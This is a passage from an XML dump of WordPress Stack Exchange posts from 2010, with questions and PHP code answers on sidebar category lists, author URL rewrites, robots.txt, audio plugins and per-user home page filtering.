&amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;          &amp;lt;td scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e('Tags');?&amp;gt;&amp;lt;/td&amp;gt;&#xA;          &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;fp_tags&quot; class=&quot;regular-text&quot; value=&quot;&amp;lt;?php echo get_option('fp_tags); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;                       &#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;fileBrowser&quot; title=&quot;File browser&quot;&amp;gt; &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2010-12-15T14:08:33.777" LastActivityDate="2010-12-15T14:08:33.777" CommentCount="5" />
  <row Id="5259" PostTypeId="2" ParentId="5245" CreationDate="2010-12-13T11:37:11.237" Score="1" ViewCount="" Body="&lt;p&gt;If you're interested in free, there's also &lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;TDO Mini Forms&lt;/a&gt; (http://wordpress.org/extend/plugins/tdo-mini-forms/) and &lt;a href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot; rel=&quot;nofollow&quot;&gt;cformsII&lt;/a&gt; (http://www.deliciousdays.com/cforms-plugin/)&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-12-13T11:37:11.237" />
  <row Id="5260" PostTypeId="1" CreationDate="2010-12-13T11:52:48.530" Score="0" ViewCount="89" Body="&lt;p&gt;Over the past 6-8 months, I've noticed that a great, nigh-overwhelming percentage of the spam comments that make it into moderation (i.e., slip past Akismet and Bad Behavior) end in 2-3 random punctuation marks, e.g. '-&quot;, -;, '*&quot;, etc. (Many of them are slightly on-topic for the posts they're attempting to commet on, though they seem to have a strange obsession with David and Patricia Arquette...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas 1) why spammers would take to ending their payloads in such a fashion 2) why Akismet in particular seems reluctant to mark such as spam?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-18T12:58:18.227" LastActivityDate="2011-04-18T12:58:18.227" Title="Why do spam comments ending in random punctuation seem to slip past the various anti-spam plugins?" Tags="&lt;comments&gt;&lt;spam&gt;&lt;akismet&gt;&lt;plugin-bad-behavior&gt;" CommentCount="7" />
  <row Id="5261" PostTypeId="2" ParentId="4696" CreationDate="2010-12-13T12:01:27.453" Score="0" ViewCount="" Body="&lt;p&gt;Sorry, I can't comment in this topic, but I have very similar custom loop with nurain. I see the pagination and regular wordpress link (like Older Entries &amp;amp; Newer Entries), but all these link's go to my main page, only url right myblog/category/page2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* PageNavi at Top */&#xA;if (function_exists('wp_pagenavi')){wp_pagenavi();}&#xA;if ( $wp_query-&amp;gt;have_posts() ) : while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();  &#xA;&#xA;/* DO STUFF IN THE LOOP */&#xA;&#xA;endwhile; endif;&#xA;/* PageNavi at Bottom */&#xA;if (function_exists('wp_pagenavi')){wp_pagenavi();}&#xA;$wp_query = null;&#xA;$wp_query = $temp;&#xA;wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are these changes for wp-pagenavi.php? I have an error.&lt;/p&gt;&#xA;" OwnerUserId="1301" LastEditorUserId="1301" LastEditorDisplayName="" LastEditDate="2010-12-13T15:25:31.597" LastActivityDate="2010-12-13T15:25:31.597" />
  <row Id="5262" PostTypeId="1" AcceptedAnswerId="5263" CreationDate="2010-12-13T12:01:41.727" Score="0" ViewCount="152" Body="&lt;p&gt;I need to publish a audio file that I want to make available to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;listen and&lt;/li&gt;&#xA;&lt;li&gt;not to download&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;any idea how to do it? Is there any free WP plugin for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something where user cannot save the audo using any webbrowser plugin like DownloadHelper etc.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2010-12-13T18:48:39.517" Title="audio streaming plugin but with no save option?" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="5263" PostTypeId="2" ParentId="5262" CreationDate="2010-12-13T12:14:39.190" Score="1" ViewCount="" Body="&lt;p&gt;Have you looked at either &lt;a href=&quot;http://wpaudioplayer.com/&quot; rel=&quot;nofollow&quot;&gt;Audio Player&lt;/a&gt; or &lt;a href=&quot;http://www.boriel.com/software/plugins/the-wordpress-xspf-player-plugin/&quot; rel=&quot;nofollow&quot;&gt;XSPF&lt;/a&gt;? I've had good success with both of those.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-12-13T12:14:39.190" CommentCount="4" />
  <row Id="5264" PostTypeId="2" ParentId="5237" CreationDate="2010-12-13T12:19:02.433" Score="0" ViewCount="" Body="&lt;p&gt;Have you looked at Justin Tadlock's &lt;a href=&quot;http://justintadlock.com/archives/2009/03/15/query-posts-widget-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Query Posts&lt;/a&gt; plugin?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-12-13T12:19:02.433" CommentCount="4" />
  <row Id="5265" PostTypeId="2" ParentId="5256" CreationDate="2010-12-13T12:32:59.853" Score="1" ViewCount="" Body="&lt;p&gt;Have you looked at Yoast's &lt;a href=&quot;http://yoast.com/wordpress/seo/&quot; rel=&quot;nofollow&quot;&gt;WordPress SEO plugin&lt;/a&gt;? It definitely handles robots.txt issues.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-12-13T12:32:59.853" CommentCount="3" />
  <row Id="5267" PostTypeId="2" ParentId="5238" CreationDate="2010-12-13T13:00:36.003" Score="0" ViewCount="" Body="&lt;p&gt;How you want to highlight this image is specific to your layout, but it probably involves setting a class to the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; surrounding it? You can do this by comparing the ID of the post you have displayed with the ID of the post of which you are showing the thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your first loop you save the ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_testimonial_id = get_the_ID();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your second loop you compare it to the current thumbnail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li &amp;lt;?php if ( get_the_ID() == $current_testimonial_id ) { echo ' class=&quot;highlighted&quot;'; } ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A quick tip if you are working with multiple loops: most template functions accept post ID parameters, so you don't have to use the &lt;code&gt;setup_postdata()&lt;/code&gt; function which sets some global variables. This is handy if you need the &quot;main&quot; post query again after your extra loop. So the following code works just a well for the second loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul class=&quot;portfolio&quot;&amp;gt;&#xA;      &amp;lt;?php&#xA; $testimonials = get_posts('category_name=testimonial&amp;amp;numberposts=-1&amp;amp;order=DESC');&#xA; foreach ($testimonials as $testimonial) : &#xA;      ?&amp;gt;&#xA;      &amp;lt;li &amp;lt;?php if ( $testimonial-&amp;gt;ID == $current_testimonial_id ) { echo ' class=&quot;highlighted&quot;'; } ?&amp;gt;&amp;gt; &#xA;        &amp;lt;?php echo get_the_post_thumbnail( $testimonial-&amp;gt;ID, 'nav' ); ?&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-13T13:00:36.003" CommentCount="5" />
  <row Id="5269" PostTypeId="2" ParentId="5232" CreationDate="2010-12-13T13:18:00.147" Score="1" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://www.alistapart.com/articles/betterrotator/&quot; rel=&quot;nofollow&quot;&gt;http://www.alistapart.com/articles/betterrotator/&lt;/a&gt;  I use it myself on a few sites.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-12-13T13:18:00.147" CommentCount="2" />
  <row Id="5270" PostTypeId="1" AcceptedAnswerId="5278" CreationDate="2010-12-13T13:39:29.337" Score="1" ViewCount="240" Body="&lt;p&gt;i'm using this plugin to show an exapandable/collapsible widget-menu in my sidebar.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/folding-category-widget&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/folding-category-widget&lt;/a&gt;&#xA;it works very well!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the question, not directly connected with this plugin, is: how can i also show in the list, all posts related to a category (title + a href)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category A &#xA;         post1&#xA;         post2&#xA;&#xA;category B&#xA;         post3&#xA;         post4&#xA;&#xA;category C&#xA;         post5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks a lot in advance.&lt;/p&gt;&#xA;" OwnerUserId="1937" LastActivityDate="2010-12-13T16:14:12.540" Title="show posts names and links in the sidebar list as categories child" Tags="&lt;categories&gt;&lt;posts&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="5274" PostTypeId="2" ParentId="5256" CreationDate="2010-12-13T15:05:01.083" Score="4" ViewCount="" Body="&lt;p&gt;FWIW, trackback URLs issue redirects and have no content, so they won't get indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And at the risk of not answering the question, RE your points 2 and 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2008/09/demystifying-duplicate-content-penalty.html&quot; rel=&quot;nofollow&quot;&gt;http://googlewebmastercentral.blogspot.com/2008/09/demystifying-duplicate-content-penalty.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put otherwise, I think you're wasting your time worrying about dup content, and your robots.txt should be limited to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /cgi-bin&#xA;Disallow: /wp-admin&#xA;Disallow: /wp-includes&#xA;Disallow: /wp-content/plugins&#xA;Disallow: /wp-content/cache&#xA;Disallow: /wp-content/themes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-13T15:05:01.083" CommentCount="1" />
  <row Id="5275" PostTypeId="1" CreationDate="2010-12-13T15:11:50.083" Score="1" ViewCount="287" Body="&lt;p&gt;The default author permalink is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/author/{username}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do something like this ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/author/{username}/songs &#xA;http://domain.com/author/{username}/books&#xA;http://domain.com/author/{username}/movies&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If someone visit songs permalink, wp should display songs of the respective author. If someone visit books permalink, wp should display books of the respective author, and so on! Any idea about how can I do this !?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Later edit&lt;/strong&gt;&#xA;mySQL table: favs&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;id&lt;/li&gt;&#xA;&lt;li&gt;post_id&lt;/li&gt;&#xA;&lt;li&gt;author_id&lt;/li&gt;&#xA;&lt;li&gt;fav_type (song, book, movie)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1939" LastEditorUserId="1939" LastEditorDisplayName="" LastEditDate="2010-12-13T17:58:32.390" LastActivityDate="2010-12-13T17:58:32.390" Title="Author url rewrite" Tags="&lt;url-rewriting&gt;&lt;author&gt;" AnswerCount="1" />
  <row Id="5276" PostTypeId="1" AcceptedAnswerId="5410" CreationDate="2010-12-13T15:28:25.790" Score="1" ViewCount="136" Body="&lt;p&gt;Is there an app for the Windows Phone (7) that allows submission to WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having used the WordPress app on the Blackberry, I'm looking for one that is similar to that, but for the WP7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a look and not found anything, though there are rumours (potentially unsubstantiated) that one is being created..&lt;/p&gt;&#xA;" OwnerUserId="1940" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-12-15T14:17:13.603" LastActivityDate="2010-12-21T15:04:57.850" Title="Wordpress on WP7" Tags="&lt;mobile&gt;" AnswerCount="4" />
  <row Id="5277" PostTypeId="2" ParentId="5276" CreationDate="2010-12-13T15:46:56.157" Score="0" ViewCount="" Body="&lt;p&gt;Looks like they may be working on one, but no hard dates yet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blogherald.com/2010/11/29/wordpress-quietly-creating-windows-phone-7-app/&quot; rel=&quot;nofollow&quot;&gt;Speculative blog post.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.forums.wordpress.com/topic/wordpress-for-windows-phone-7#post-530036&quot; rel=&quot;nofollow&quot;&gt;Forums post by a member of the mobile team.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-12-13T15:46:56.157" />
  <row Id="5278" PostTypeId="2" ParentId="5270" CreationDate="2010-12-13T16:14:12.540" Score="0" ViewCount="" Body="&lt;p&gt;Well the simplest way I can think of is something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;categories&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    $categories = get_categories(); //can add parameters here to swtich the order, etc;&#xA;    if(!empty(categories)):&#xA;        foreach($categories as $i =&amp;gt; $category):&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;li class=&quot;category&quot;&amp;gt;&#xA;    &amp;lt;span&amp;gt;&amp;lt;?php echo $category-&amp;gt;name ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;&#xA;        query_posts('posts_per_page=-1&amp;amp;cat=' . $category-&amp;gt;term_id);&#xA;        if ( have_posts() ) :&#xA;        ?&amp;gt;&#xA;        &amp;lt;ul class=&quot;posts&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;             while ( have_posts() ) : the_post(); //we make a loop for each category, &#xA;        ?&amp;gt;&#xA;            &amp;lt;li class=&quot;post&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink();&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endforeach; endif; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Warning: this is untested code, but it should work just fine. (Just add it to your sidebar.php file or wherever you generate yuor sidebar.)&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2010-12-13T16:14:12.540" CommentCount="2" />
  <row Id="5279" PostTypeId="2" ParentId="5275" CreationDate="2010-12-13T16:18:41.113" Score="2" ViewCount="" Body="&lt;p&gt;Assuming you are using custom post types for songs, books etc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_rewrite_rules($rules) {&#xA;    $newrules['author/([^/]+)/songs/?$'] = 'index.php?post_type=songs&amp;amp;author=$matches[1]';&#xA;    $newrules['author/([^/]+)/songs/page/?([0-9]{1,})/?$'] = 'index.php?post_type=songs&amp;amp;locations=$matches[1]&amp;amp;paged=$matches[2]';&#xA;&#xA;    $rules = $newrules + $rules;&#xA;    return $rules;&#xA;}&#xA;&#xA;function flushRules() {&#xA;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;add_filter('rewrite_rules_array', 'add_rewrite_rules');&#xA;&#xA;/* This function should only really be run once per change of rules - comment out */&#xA;add_filter('init','flushRules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try the query strings above &quot;index.php?post_type=songs&amp;amp;author=username&quot; and make sure you get the correct post listing you are after on your site (you might need to disable permalinks to test them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can add the rules in to the function (taking note of the paged rule for each post type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing exactly this on a live site now, so it is possible - just requires a bit of patience to get the rules correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not using custom post types you can change the query strings above from post_type=xxx to taxonomy=tagname or whatever you need to get the listing you want.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2010-12-13T16:18:41.113" CommentCount="4" />
  <row Id="5281" PostTypeId="2" ParentId="5254" CreationDate="2010-12-13T16:52:45.003" Score="0" ViewCount="" Body="&lt;p&gt;Go to reading settings and select 'full text' for what to show readers in a feed:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/kGPrY.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-13T16:52:45.003" CommentCount="1" />
  <row Id="5283" PostTypeId="1" AcceptedAnswerId="5295" CreationDate="2010-12-13T17:05:03.830" Score="1" ViewCount="117" Body="&lt;p&gt;Symptoms:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can't view ANY previous Posts, but the correct totals are listed by class - published, draft....&lt;/li&gt;&#xA;&lt;li&gt;When creating a new post - no save or publish button&lt;/li&gt;&#xA;&lt;li&gt;Unable to administer ANY plug-ins - error message: You do not have sufficient permissions to access this page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What Has Changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgraded from 3.0.2 to 3.0.1 or something like that, I was clearly on 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Have I Attempted?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;validated the roles and access values were correct for the admin user in database tables&lt;/li&gt;&#xA;&lt;li&gt;Created a new admin&lt;/li&gt;&#xA;&lt;li&gt;Changed admin user values to something else and back &lt;/li&gt;&#xA;&lt;li&gt;Changed to default template&lt;/li&gt;&#xA;&lt;li&gt;Disabled ALL plug-ins&lt;/li&gt;&#xA;&lt;li&gt;Re-installed latest version&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What would you do next?&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2010-12-20T07:56:17.720" Title="Upgrade Nightmare - No Posts, Permissions Issues and Can't Create a new post" Tags="&lt;users&gt;&lt;upgrade&gt;&lt;user-access&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" />
  <row Id="5284" PostTypeId="1" AcceptedAnswerId="5287" CreationDate="2010-12-13T18:04:59.090" Score="0" ViewCount="79" Body="&lt;p&gt;Is there anyway to disable custom dragging and sorting of the posting fields in admin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From time to time, the fields gets dis-ordered, and I have to sort them back to the way I want it, witch is kinda annoying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this also because I'm going to have other editors on the site, and I want a standardized order for everybody. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want the excerpt-field to be above the content-field.&#xA;Is all this possible?&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2010-12-13T18:38:18.717" Title="Default, locked sorting of posting fields" Tags="&lt;admin&gt;" AnswerCount="1" />
  <row Id="5285" PostTypeId="2" ParentId="5237" CreationDate="2010-12-13T18:13:11.330" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am looking for a wordpress plugin that allows my users to customize which posts are appearing on the home page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not sure there's any particular plugins for this, but it's certainly possible with a few functions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The users should have a settings page where they can select which categories and tags they´d like to see posts from.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Easier than providing a settings page that's seperate from the profile page, i'd actually suggest adding a couple of new fields to the user's profile page, you can call the section &lt;strong&gt;home preferences&lt;/strong&gt; or whatever you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example follows...&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Step 1 - Add custom fields to the user profile page&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here i took the same approach as Mike did when answering:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4028/how-to-add-custom-form-fields-to-the-user-profile-page&quot;&gt;How to add custom form fields to the user profile page&lt;/a&gt;, firing on two actions to account for user profile saves and admin user edits.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'show_user_profile', 'home_prefs_profile_fields' );&#xA;add_action( 'edit_user_profile', 'home_prefs_profile_fields' );&#xA;&#xA;function home_prefs_profile_fields( $user ) { &#xA;&#xA;    $um = get_user_option( 'taxonomy_selection', $user-&amp;gt;ID );&#xA;    $tags = ( isset( $um['post_tag'] ) ) ? $um['post_tag'] : array();&#xA;    $cats = ( isset( $um['categories'] ) ) ? $um['categories'] : array();&#xA;    ?&amp;gt;&#xA;    &amp;lt;div id=&quot;home-prefs&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Home Preferences&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&#xA;                &amp;lt;label for=&quot;tax_input[post_tag]&quot;&amp;gt;Tags&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;span class=&quot;description&quot;&amp;gt;Choose which tags you want to display on the home page.&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;ul id=&quot;tag-checklist&quot;&amp;gt;&#xA;                    &amp;lt;?php wp_terms_checklist( 0, array( 'taxonomy' =&amp;gt; 'post_tag', 'selected_cats' =&amp;gt; $tags ) ); ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;br class=&quot;clear&quot; /&amp;gt;&#xA;                &amp;lt;hr /&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&#xA;                &amp;lt;label for=&quot;post_category&quot;&amp;gt;Categories&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;span class=&quot;description&quot;&amp;gt;Choose which categories you want to display on the home page.&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;ul id=&quot;category-checklist&quot;&amp;gt;&#xA;                    &amp;lt;?php wp_category_checklist( 0, 0, $cats, false ) ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Information on the term and category checklists can be found in the source(no docs yet).&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-admin/includes/template.php#L217&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-admin/includes/template.php#L217&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Step 2 - Handle saving data on profile/user update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Again, two actions, depending on whether it's a user saving profile changes or another user making changes to another user's profile.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'personal_options_update', 'save_home_prefs' );&#xA;add_action( 'edit_user_profile_update', 'save_home_prefs' );&#xA;&#xA;function save_home_prefs( $user_id ) {&#xA;&#xA;    if ( !current_user_can( 'edit_user', $user_id ) )&#xA;        return false;&#xA;&#xA;    $data = array();&#xA;&#xA;    if( isset( $_POST['tax_input'] ) ) {&#xA;        foreach( $_POST['tax_input'] as $taxonomy =&amp;gt; $term_ids )&#xA;            if( !taxonomy_exists( $taxonomy ) )&#xA;                continue;&#xA;            else&#xA;                $data[$taxonomy] = array_map( 'intval', $term_ids );&#xA;    }&#xA;&#xA;    if( isset( $_POST['post_category'] ) )&#xA;        $data['categories'] = $_POST['post_category'];&#xA;&#xA;    update_user_meta( $user_id, 'taxonomy_selection', $data );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; It wouldn't hurt to add further sanitization to the above.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Step 3 - Adjust the CSS&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Indent children terms, float the main list items, so busy taxonomies don't consume so much height.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles-user-edit.php', 'tax_checklist_css' );&#xA;add_action( 'admin_print_styles-profile.php', 'tax_checklist_css' );&#xA;&#xA;function tax_checklist_css() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        .children { text-indent: 20px }&#xA;        #tag-checklist li { float:left;width:30% }&#xA;        #category-checklist li { float:left;width:30% }&#xA;        #category-checklist li li { float:none;width:auto }&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; 30% width on the list items basically gives you the appearance of 3 columns of terms, you're welcome to adjust the CSS to suit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could also just as easily be turned into an enqueue, which will provide some level of caching, inline CSS is quicker to test is all... ;)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Step 4 - Filter home query based on user prefs&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Add a filter onto home queries based on user configured settings for tags and categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'do_user_post_selection' );&#xA;&#xA;function do_user_post_selection( $query ) {&#xA;&#xA;    if( !is_home() || !is_user_logged_in() )&#xA;        return;&#xA;&#xA;    if( isset( $query-&amp;gt;query_vars['post_type'] ) &amp;amp;&amp;amp; ( 'nav_menu_item' == $query-&amp;gt;query_vars['post_type'] ) )&#xA;        return; &#xA;    if( 1 &amp;lt; did_action('wp') )&#xA;        return;&#xA;    global $current_user;&#xA;&#xA;    $tax_selection = get_user_option( 'taxonomy_selection', $current_user-&amp;gt;ID );&#xA;&#xA;    if( empty( $tax_selection ) )&#xA;        return;&#xA;&#xA;    if( isset( $tax_selection['categories'] ) &amp;amp;&amp;amp; ( is_array( $tax_selection['categories'] ) ) &amp;amp;&amp;amp; ( !empty( $tax_selection['categories'] ) ) ) &#xA;        $query-&amp;gt;set( 'category__in', $tax_selection['categories'] );&#xA;    if( isset( $tax_selection['post_tag'] ) &amp;amp;&amp;amp; ( is_array( $tax_selection['post_tag'] ) ) &amp;amp;&amp;amp; ( !empty( $tax_selection['post_tag'] ) ) ) &#xA;        $query-&amp;gt;set( 'tag__in', $tax_selection['post_tag'] );&#xA;&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You don't have to use a &lt;code&gt;pre_get_posts&lt;/code&gt; filter, you could use &lt;code&gt;parse_query&lt;/code&gt; or pass values into a &lt;code&gt;WP_Query&lt;/code&gt; object, i personally just find the chosen hook easy to use(and it's what i'm use to 